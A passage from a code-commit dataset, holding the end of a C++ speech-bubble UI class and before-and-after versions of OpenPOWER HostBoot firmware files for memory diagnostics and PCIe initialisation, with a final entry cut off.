int yoffset) {\n\trenderer->renderText(xoffset + x + textoffset, yoffset + y, text, textcolour, backgroundcolour);\n}\n\nvoid BubblePart::gainFocus() {\n\tassert(editable);\n}\n\nvoid BubblePart::loseFocus() {\n\tparent->kill();\n}\n\nvoid BubblePart::handleKey(char c) {\n\t\/\/ TODO: reject invalid chars\n\n\tsetText(text + c);\n}\n\nvoid BubblePart::handleSpecialKey(char c) {\n\tswitch (c) {\n\t\tcase 8: \/\/ backspace\n\t\t\tif (text.size() == 0) { loseFocus(); return; }\n\t\t\t{ std::string s = text;\n\t\t\ts.erase(s.begin() + (s.size() - 1));\n\t\t\tsetText(s); }\n\t\t\tif (text.size() == 0) { loseFocus(); return; }\n\t\t\tbreak;\n\n\t\tcase 13: \/\/ return\n\t\t\t((Bubble *)parent)->turnIntoSpeech(); \/\/ TODO: omg hax\n\t\t\tbreak;\n\t}\n}\n\nunsigned int BubblePart::poseForWidth(unsigned int width) {\n\tif (engine.version == 1) return 0;\n\tSpritePart *s;\n\tif (!(s = dynamic_cast<SpritePart *>(parent->part(0)))) return 0;\n\tunsigned int sprite = s->getFirstImg();\n\twhile (sprite < s->getFirstImg()+2 && width > s->getSprite()->width(sprite) - 17)\n\t\tsprite++;\n\treturn sprite - s->getFirstImg();\n}\n\nvoid BubblePart::setText(std::string str) {\n\tunsigned int twidth = engine.backend->textWidth(str);\n\n\tif (engine.version == 2) {\n\t\tunsigned int pose = poseForWidth(twidth);\n\t\tSpritePart *s;\n\t\tif ((s = dynamic_cast<SpritePart *>(parent->part(0)))) {\n\t\t\tif (pose != s->getPose()) {\n\t\t\t\ts->setPose(pose);\n\t\t\t\ttextwidth = s->getWidth() - 17;\n\t\t\t\tBubble* p = (Bubble*)parent; \/\/ TODO: omg hax\n\t\t\t\tif (!p->leftside)\n\t\t\t\t\tp->moveTo(p->floatingagent->x - p->getWidth() + 2, p->floatingagent->y - p->getHeight());\n\t\t\t}\n\t\t}\n\t}\n\tif (twidth > textwidth) return;\n\n\ttext = str;\n\ttextoffset = (textwidth - twidth) \/ 2;\n}\n\n\/* vim: set noet: *\/\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/memory\/p9_mss_memdiag.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file p9_mss_memdiag.C\n\/\/\/ @brief Mainstore pattern testing\n\/\/\/\n\/\/ *HWP HWP Owner: Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP HWP Backup: Andre Marin <aamarin@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HB\n\n#include <fapi2.H>\n#include <p9_mss_memdiag.H>\n\n#include <lib\/utils\/poll.H>\n#include <lib\/utils\/find.H>\n#include <lib\/utils\/count_dimm.H>\n#include <lib\/mcbist\/address.H>\n#include <lib\/mcbist\/memdiags.H>\n#include <lib\/mcbist\/mcbist.H>\n#include <lib\/mc\/port.H>\n#include <lib\/ecc\/ecc.H>\n\nusing fapi2::TARGET_TYPE_MCBIST;\nusing fapi2::TARGET_TYPE_SYSTEM;\nusing fapi2::TARGET_TYPE_MCA;\n\nextern \"C\"\n{\n \/\/\/\n \/\/\/ @brief Pattern test the DRAM\n \/\/\/ @param[in] i_target the McBIST of the ports of the dram you're training\n \/\/\/ @return FAPI2_RC_SUCCESS iff ok\n \/\/\/\n fapi2::ReturnCode p9_mss_memdiag( const fapi2::Target<TARGET_TYPE_MCBIST>& i_target )\n {\n FAPI_INF(\"Start memdiag\");\n\n \/\/ If there are no DIMM we don't need to bother. In fact, we can't as we didn't setup\n \/\/ attributes for the PHY, etc.\n if (mss::count_dimm(i_target) == 0)\n {\n FAPI_INF(\"... skipping mem_diags %s - no DIMM ...\", mss::c_str(i_target));\n return fapi2::FAPI2_RC_SUCCESS;\n }\n\n uint8_t l_sim = false;\n FAPI_TRY( mss::is_simulation( l_sim) );\n\n \/\/ Read the bad_dq_bitmap attribute and place corresponding symbol and chip marks\n for (const auto& l_mca : mss::find_targets<TARGET_TYPE_MCA>(i_target))\n {\n fapi2::buffer<uint8_t> l_repairs_applied;\n fapi2::buffer<uint8_t> l_repairs_exceeded;\n std::vector<uint64_t> l_ranks;\n\n FAPI_TRY( mss::restore_repairs( l_mca, l_repairs_applied, l_repairs_exceeded) );\n\n \/\/ assert if we have exceeded the allowed repairs\n for (const auto& l_dimm : mss::find_targets<fapi2::TARGET_TYPE_DIMM>(l_mca))\n {\n FAPI_ASSERT( !(l_repairs_exceeded.getBit(mss::index(l_dimm))),\n fapi2::MSS_MEMDIAGS_REPAIRS_EXCEEDED().set_TARGET(l_dimm),\n \"p9_mss_memdiag bad bit repairs exceeded %s\", mss::c_str(l_dimm) );\n }\n\n#ifdef __HOSTBOOT_MODULE\n \/\/ assert if both chip and symbol marks exist for any given rank\n FAPI_TRY( mss::rank::ranks(l_mca, l_ranks) );\n\n for (const auto l_rank : l_ranks)\n {\n if (l_repairs_applied.getBit(l_rank))\n {\n uint64_t l_galois = 0;\n mss::states l_confirmed = mss::NO;\n \/\/ check for chip mark in hardware mark store\n FAPI_TRY( mss::ecc::get_hwms(l_mca, l_rank, l_galois, l_confirmed) );\n\n if (l_confirmed)\n {\n auto l_type = mss::ecc::fwms::mark_type::CHIP;\n auto l_region = mss::ecc::fwms::mark_region::DISABLED;\n auto l_addr = mss::mcbist::address(0);\n \/\/ check for symbol mark in firmware mark store\n FAPI_TRY( mss::ecc::get_fwms(l_mca, l_rank, l_galois, l_type, l_region, l_addr) );\n\n FAPI_ASSERT( l_region == mss::ecc::fwms::mark_region::DISABLED,\n fapi2::MSS_MEMDIAGS_CHIPMARK_AND_SYMBOLMARK().set_TARGET(l_mca).set_RANK(l_rank),\n \"p9_mss_memdiag both chip mark and symbol mark on rank %d: %s\", l_rank, mss::c_str(l_mca) );\n }\n }\n }\n\n#endif\n }\n\n \/\/ We start the sf_init (write 0's) and it'll tickle the MCBIST complete FIR. PRD will see that\n \/\/ and start a background scrub.\n FAPI_TRY( memdiags::sf_init(i_target, mss::mcbist::PATTERN_0) );\n\n \/\/ If we're in the sim, we want to poll for the FIR bit. I don't think this ever really happens\n \/\/ unless we're expressly testing this API.\n if (l_sim)\n {\n \/\/ Poll for the fir bit. We expect this to be set ...\n fapi2::buffer<uint64_t> l_status;\n\n \/\/ A small vector of addresses to poll during the polling loop\n const std::vector<mss::poll_probe<fapi2::TARGET_TYPE_MCBIST>> l_probes =\n {\n {i_target, \"mcbist current address\", MCBIST_MCBMCATQ},\n };\n\n mss::poll_parameters l_poll_parameters;\n bool l_poll_results = mss::poll(i_target, MCBIST_MCBISTFIRQ, l_poll_parameters,\n [&l_status](const size_t poll_remaining,\n const fapi2::buffer<uint64_t>& stat_reg) -> bool\n {\n FAPI_DBG(\"mcbist firq 0x%llx, remaining: %d\", stat_reg, poll_remaining);\n l_status = stat_reg;\n return l_status.getBit<MCBIST_MCBISTFIRQ_MCBIST_PROGRAM_COMPLETE>() == true;\n },\n l_probes);\n\n FAPI_ASSERT( l_poll_results == true,\n fapi2::MSS_MEMDIAGS_SUPERFAST_INIT_FAILED_TO_INIT().set_TARGET(i_target),\n \"p9_mss_memdiags timedout %s\", mss::c_str(i_target) );\n }\n\n fapi_try_exit:\n FAPI_INF(\"End memdiag\");\n return fapi2::current_err;\n }\n}\n<commit_msg>Move find API to share among memory controllers<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/memory\/p9_mss_memdiag.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file p9_mss_memdiag.C\n\/\/\/ @brief Mainstore pattern testing\n\/\/\/\n\/\/ *HWP HWP Owner: Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP HWP Backup: Andre Marin <aamarin@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HB\n\n#include <fapi2.H>\n#include <p9_mss_memdiag.H>\n\n#include <lib\/utils\/poll.H>\n#include <generic\/memory\/lib\/utils\/find.H>\n#include <lib\/utils\/count_dimm.H>\n#include <lib\/mcbist\/address.H>\n#include <lib\/mcbist\/memdiags.H>\n#include <lib\/mcbist\/mcbist.H>\n#include <lib\/mc\/port.H>\n#include <lib\/ecc\/ecc.H>\n\nusing fapi2::TARGET_TYPE_MCBIST;\nusing fapi2::TARGET_TYPE_SYSTEM;\nusing fapi2::TARGET_TYPE_MCA;\n\nextern \"C\"\n{\n \/\/\/\n \/\/\/ @brief Pattern test the DRAM\n \/\/\/ @param[in] i_target the McBIST of the ports of the dram you're training\n \/\/\/ @return FAPI2_RC_SUCCESS iff ok\n \/\/\/\n fapi2::ReturnCode p9_mss_memdiag( const fapi2::Target<TARGET_TYPE_MCBIST>& i_target )\n {\n FAPI_INF(\"Start memdiag\");\n\n \/\/ If there are no DIMM we don't need to bother. In fact, we can't as we didn't setup\n \/\/ attributes for the PHY, etc.\n if (mss::count_dimm(i_target) == 0)\n {\n FAPI_INF(\"... skipping mem_diags %s - no DIMM ...\", mss::c_str(i_target));\n return fapi2::FAPI2_RC_SUCCESS;\n }\n\n uint8_t l_sim = false;\n FAPI_TRY( mss::is_simulation( l_sim) );\n\n \/\/ Read the bad_dq_bitmap attribute and place corresponding symbol and chip marks\n for (const auto& l_mca : mss::find_targets<TARGET_TYPE_MCA>(i_target))\n {\n fapi2::buffer<uint8_t> l_repairs_applied;\n fapi2::buffer<uint8_t> l_repairs_exceeded;\n std::vector<uint64_t> l_ranks;\n\n FAPI_TRY( mss::restore_repairs( l_mca, l_repairs_applied, l_repairs_exceeded) );\n\n \/\/ assert if we have exceeded the allowed repairs\n for (const auto& l_dimm : mss::find_targets<fapi2::TARGET_TYPE_DIMM>(l_mca))\n {\n FAPI_ASSERT( !(l_repairs_exceeded.getBit(mss::index(l_dimm))),\n fapi2::MSS_MEMDIAGS_REPAIRS_EXCEEDED().set_TARGET(l_dimm),\n \"p9_mss_memdiag bad bit repairs exceeded %s\", mss::c_str(l_dimm) );\n }\n\n#ifdef __HOSTBOOT_MODULE\n \/\/ assert if both chip and symbol marks exist for any given rank\n FAPI_TRY( mss::rank::ranks(l_mca, l_ranks) );\n\n for (const auto l_rank : l_ranks)\n {\n if (l_repairs_applied.getBit(l_rank))\n {\n uint64_t l_galois = 0;\n mss::states l_confirmed = mss::NO;\n \/\/ check for chip mark in hardware mark store\n FAPI_TRY( mss::ecc::get_hwms(l_mca, l_rank, l_galois, l_confirmed) );\n\n if (l_confirmed)\n {\n auto l_type = mss::ecc::fwms::mark_type::CHIP;\n auto l_region = mss::ecc::fwms::mark_region::DISABLED;\n auto l_addr = mss::mcbist::address(0);\n \/\/ check for symbol mark in firmware mark store\n FAPI_TRY( mss::ecc::get_fwms(l_mca, l_rank, l_galois, l_type, l_region, l_addr) );\n\n FAPI_ASSERT( l_region == mss::ecc::fwms::mark_region::DISABLED,\n fapi2::MSS_MEMDIAGS_CHIPMARK_AND_SYMBOLMARK().set_TARGET(l_mca).set_RANK(l_rank),\n \"p9_mss_memdiag both chip mark and symbol mark on rank %d: %s\", l_rank, mss::c_str(l_mca) );\n }\n }\n }\n\n#endif\n }\n\n \/\/ We start the sf_init (write 0's) and it'll tickle the MCBIST complete FIR. PRD will see that\n \/\/ and start a background scrub.\n FAPI_TRY( memdiags::sf_init(i_target, mss::mcbist::PATTERN_0) );\n\n \/\/ If we're in the sim, we want to poll for the FIR bit. I don't think this ever really happens\n \/\/ unless we're expressly testing this API.\n if (l_sim)\n {\n \/\/ Poll for the fir bit. We expect this to be set ...\n fapi2::buffer<uint64_t> l_status;\n\n \/\/ A small vector of addresses to poll during the polling loop\n const std::vector<mss::poll_probe<fapi2::TARGET_TYPE_MCBIST>> l_probes =\n {\n {i_target, \"mcbist current address\", MCBIST_MCBMCATQ},\n };\n\n mss::poll_parameters l_poll_parameters;\n bool l_poll_results = mss::poll(i_target, MCBIST_MCBISTFIRQ, l_poll_parameters,\n [&l_status](const size_t poll_remaining,\n const fapi2::buffer<uint64_t>& stat_reg) -> bool\n {\n FAPI_DBG(\"mcbist firq 0x%llx, remaining: %d\", stat_reg, poll_remaining);\n l_status = stat_reg;\n return l_status.getBit<MCBIST_MCBISTFIRQ_MCBIST_PROGRAM_COMPLETE>() == true;\n },\n l_probes);\n\n FAPI_ASSERT( l_poll_results == true,\n fapi2::MSS_MEMDIAGS_SUPERFAST_INIT_FAILED_TO_INIT().set_TARGET(i_target),\n \"p9_mss_memdiags timedout %s\", mss::c_str(i_target) );\n }\n\n fapi_try_exit:\n FAPI_INF(\"End memdiag\");\n return fapi2::current_err;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/nest\/p9_pcie_scominit.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/-----------------------------------------------------------------------------------\n\/\/\/\n\/\/\/ @file p9_pcie_scominit.H\n\/\/\/ @brief Perform PCIE Phase1 init sequence (FAPI2)\n\/\/\/\n\/\/ *HWP HWP Owner: Christina Graves clgraves@us.ibm.com\n\/\/ *HWP FW Owner: Thi Tran thi@us.ibm.com\n\/\/ *HWP Team: Nest\n\/\/ *HWP Level: 1\n\/\/ *HWP Consumed by: HB\n\n#ifndef _P9_PCIE_SCOMINIT_H_\n#define _P9_PCIE_SCOMINIT_H_\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Includes\n\/\/-----------------------------------------------------------------------------------\n#include <fapi2.H>\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Helper Macros\n\/\/-----------------------------------------------------------------------------------\n#define SET_REG_RMW_WITH_SINGLE_ATTR_8(in_attr_name, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(FAPI_ATTR_GET(in_attr_name, l_pec_chiplets, l_attr_8)); \\\n FAPI_TRY(fapi2::getScom(l_pec_chiplets, in_reg_name, l_buf)); \\\n FAPI_TRY(l_buf.insertFromRight(l_attr_8, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_RMW_WITH_SINGLE_ATTR_16(in_attr_name, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(FAPI_ATTR_GET(in_attr_name, l_pec_chiplets, l_attr_16)); \\\n FAPI_TRY(fapi2::getScom(l_pec_chiplets, in_reg_name, l_buf)); \\\n FAPI_TRY(l_buf.insertFromRight(l_attr_16, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_WR_WITH_SINGLE_ATTR_16(in_attr_name, in_reg_name, in_start_bit, in_bit_count)\\\n l_buf = 0; \\\n FAPI_TRY(FAPI_ATTR_GET(in_attr_name, l_pec_chiplets, l_attr_16)); \\\n FAPI_TRY(l_buf.insertFromRight(l_attr_16, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_RMW(in_value, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(fapi2::getScom(l_pec_chiplets, in_reg_name, l_buf)); \\\n FAPI_TRY(l_buf.insertFromRight(in_value, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_WR(in_value, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(l_buf.insertFromRight(in_value, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Structure definitions\n\/\/-----------------------------------------------------------------------------------\n\n\/\/function pointer typedef definition for HWP call support\ntypedef fapi2::ReturnCode (*p9_pcie_scominit_FP_t) (const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>&);\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Constant definitions\n\/\/-----------------------------------------------------------------------------------\n\nconst uint8_t NUM_PCS_CONFIG = 4;\nconst uint8_t NUM_PCIE_LANES = 16;\nconst uint8_t NUM_M_CONFIG = 4;\nconst uint8_t PEC0_IOP_CONFIG_START_BIT = 13;\nconst uint8_t PEC1_IOP_CONFIG_START_BIT = 14;\nconst uint8_t PEC2_IOP_CONFIG_START_BIT = 10;\nconst uint8_t PEC0_IOP_BIT_COUNT = 1;\nconst uint8_t PEC1_IOP_BIT_COUNT = 2;\nconst uint8_t PEC2_IOP_BIT_COUNT = 3;\nconst uint8_t PEC0_IOP_SWAP_START_BIT = 12;\nconst uint8_t PEC1_IOP_SWAP_START_BIT = 12;\nconst uint8_t PEC2_IOP_SWAP_START_BIT = 7;\nconst uint8_t PEC0_IOP_IOVALID_ENABLE_START_BIT = 4;\nconst uint8_t PEC1_IOP_IOVALID_ENABLE_START_BIT = 4;\nconst uint8_t PEC2_IOP_IOVALID_ENABLE_START_BIT = 4;\nconst uint8_t PEC_IOP_REFCLOCK_ENABLE_START_BIT = 32;\nconst uint8_t PEC_IOP_PMA_RESET_START_BIT = 29;\nconst uint8_t PEC_IOP_PIPE_RESET_START_BIT = 28;\nconst uint8_t PEC_IOP_HSS_PORT_READY_START_BIT = 58;\n\nconst uint64_t PEC_IOP_PLLA_VCO_COURSE_CAL_REGISTER1 = 0x800005010D010C3F;\nconst uint64_t PEC_IOP_PLLB_VCO_COURSE_CAL_REGISTER1 = 0x800005410D010C3F;\nconst uint64_t PEC_IOP_RX_DFE_FUNC_REGISTER1 = 0x8000049F0D010C3F;\nconst uint64_t PEC_IOP_RX_DFE_FUNC_REGISTER2 = 0x800004A00D010C3F;\n\nconst uint64_t RX_VGA_CTRL3_REGISTER[NUM_PCIE_LANES] =\n{\n 0x8000008D0D010C3F,\n 0x800000CD0D010C3F,\n 0x8000018D0D010C3F,\n 0x800001CD0D010C3F,\n 0x8000028D0D010C3F,\n 0x800002CD0D010C3F,\n 0x8000038D0D010C3F,\n 0x800003CD0D010C3F,\n 0x8000088D0D010C3F,\n 0x800008CD0D010C3F,\n 0x8000098D0D010C3F,\n 0x800009CD0D010C3F,\n 0x80000A8D0D010C3F,\n 0x80000ACD0D010C3F,\n 0x80000B8D0D010C3F,\n 0x80000BCD0D010C3F,\n};\n\nconst uint64_t RX_LOFF_CNTL_REGISTER[NUM_PCIE_LANES] =\n{\n 0x800000A60D010C3F,\n 0x800000E60D010C3F,\n 0x800001A60D010C3F,\n 0x800001E60D010C3F,\n 0x800002A60D010C3F,\n 0x800002E60D010C3F,\n 0x800003A60D010C3F,\n 0x800003E60D010C3F,\n 0x800008A60D010C3F,\n 0x800008E60D010C3F,\n 0x800009A60D010C3F,\n 0x800009E60D010C3F,\n 0x80000AA60D010C3F,\n 0x80000AE60D010C3F,\n 0x80000BA60D010C3F,\n 0x80000BE60D010C3F,\n\n};\n\nconst uint32_t PCS_CONFIG_MODE0 = 0xA006;\nconst uint32_t PCS_CONFIG_MODE1 = 0xA805;\nconst uint32_t PCS_CONFIG_MODE2 = 0xB071;\nconst uint32_t PCS_CONFIG_MODE3 = 0xB870;\n\nconst uint32_t MAX_NUM_POLLS = 100; \/\/Maximum number of iterations (So, 400ns * 100 = 40us before timeout)\nconst uint64_t PMA_RESET_NANO_SEC_DELAY = 400; \/\/400ns to wait for PMA RESET to go through\nconst uint64_t PMA_RESET_CYC_DELAY = 400; \/\/400ns to wait for PMA RESET to go through\n\nextern \"C\" {\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Function prototype\n\/\/-----------------------------------------------------------------------------------\n\n\/\/\/ @brief Perform PCIE Phase1 init sequence\n\/\/\/ @param[in] i_target => P9 chip target\n\/\/\/ @return FAPI_RC_SUCCESS if the setup completes successfully,\n\/\/\n fapi2::ReturnCode p9_pcie_scominit(const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& i_target);\n} \/\/extern\"C\"\n\n#endif \/\/_P9_PCIE_SCOMINIT_H_\n<commit_msg>L3 Update - p9_pcie_scominit HWP<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/nest\/p9_pcie_scominit.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/ ---------------------------------------------------------------------------\n\/\/\/\n\/\/\/ @file p9_pcie_scominit.H\n\/\/\/ @brief Perform PCIE Phase1 init sequence (FAPI2)\n\/\/\/\n\/\/\/ *HWP HWP Owner: Ricardo Mata Jr. ricmata@us.ibm.com\n\/\/\/ *HWP FW Owner: Thi Tran thi@us.ibm.com\n\/\/\/ *HWP Team: Nest\n\/\/\/ *HWP Level: 3\n\/\/\/ *HWP Consumed by: HB\n\/\/\/ ---------------------------------------------------------------------------\n#ifndef _P9_PCIE_SCOMINIT_H_\n#define _P9_PCIE_SCOMINIT_H_\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Includes\n\/\/-----------------------------------------------------------------------------------\n#include <fapi2.H>\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Helper Macros\n\/\/-----------------------------------------------------------------------------------\n#define SET_REG_RMW_WITH_SINGLE_ATTR_8(in_attr_name, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(FAPI_ATTR_GET(in_attr_name, l_pec_chiplets, l_attr_8)); \\\n FAPI_TRY(fapi2::getScom(l_pec_chiplets, in_reg_name, l_buf)); \\\n FAPI_TRY(l_buf.insertFromRight(l_attr_8, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_RMW_WITH_SINGLE_ATTR_16(in_attr_name, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(FAPI_ATTR_GET(in_attr_name, l_pec_chiplets, l_attr_16)); \\\n FAPI_TRY(fapi2::getScom(l_pec_chiplets, in_reg_name, l_buf)); \\\n FAPI_TRY(l_buf.insertFromRight(l_attr_16, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_WR_WITH_SINGLE_ATTR_16(in_attr_name, in_reg_name, in_start_bit, in_bit_count)\\\n l_buf = 0; \\\n FAPI_TRY(FAPI_ATTR_GET(in_attr_name, l_pec_chiplets, l_attr_16)); \\\n FAPI_TRY(l_buf.insertFromRight(l_attr_16, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_RMW(in_value, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(fapi2::getScom(l_pec_chiplets, in_reg_name, l_buf)); \\\n FAPI_TRY(l_buf.insertFromRight(in_value, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_WR(in_value, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(l_buf.insertFromRight(in_value, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Structure definitions\n\/\/-----------------------------------------------------------------------------------\n\/\/function pointer typedef definition for HWP call support\ntypedef fapi2::ReturnCode (*p9_pcie_scominit_FP_t) (const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>&);\n\nextern \"C\" {\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Function prototype\n\/\/-----------------------------------------------------------------------------------\n\n\/\/\/ @brief Perform PCIE Phase1 init sequence\n\/\/\/ @param[in] i_target => P9 chip target\n\/\/\/ @return FAPI_RC_SUCCESS if the setup completes successfully,\n\/\/\n fapi2::ReturnCode p9_pcie_scominit(const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& i_target);\n\n} \/\/extern\"C\"\n\n#endif \/\/_P9_PCIE_SCOMINIT_H_\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/nest\/p9_throttle_sync.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/ ----------------------------------------------------------------------------\n\/\/\/ @file p9_throttle_sync.H\n\/\/\/\n\/\/\/ @brief Perform p9_throttle_sync HWP\n\/\/\/\n\/\/\/ The purpose of this procedure is to triggers sync command from a 'master'\n\/\/\/ MC to other MCs that have attached memory in a processor.\n\/\/\/\n\/\/\/ ----------------------------------------------------------------------------\n\/\/\/ *HWP 